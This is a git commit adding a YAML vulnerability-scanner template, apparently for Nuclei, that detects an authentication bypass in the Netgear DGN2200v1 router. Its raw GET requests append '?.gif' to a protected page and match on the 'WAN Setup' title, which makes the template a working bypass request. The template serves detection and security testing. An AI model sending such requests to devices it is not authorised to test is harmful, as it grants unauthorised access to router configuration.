Create netgear-router-auth-bypass.yaml

NETGEAR decided to use to check if a page has “.jpg”, “.gif” or “ess_” substrings, trying to match the entire URL. We can therefore access any page on the device, including those that require authentication, by appending a GET variable with the relevant substring (like “?.gif”).

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

vulnerabilities/other/netgear-router-auth-bypass.yaml

@@ -0,0 +1,41 @@
+id: netgear-router-auth-bypass
+
+info:
+  name: Netgear DGN2200v1 Router Authentication Bypass
+  author: gy741
+  severity: high
+  description: NETGEAR decided to use to check if a page has “.jpg”, “.gif” or “ess_” substrings, trying to match the entire URL. We can therefore access any page on the device, including those that require authentication, by appending a GET variable with the relevant substring (like “?.gif”).
+  reference: |
+    - https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
+    - https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1
+  tags: netgear,auth-bypass
+
+requests:
+  - raw:
+      - |
+        GET /WAN_wan.htm?.gif HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+        Accept-Encoding: gzip
+
+      - |
+        GET /WAN_wan.htm?.gif HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+        Accept-Encoding: gzip
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<title>WAN Setup</title>"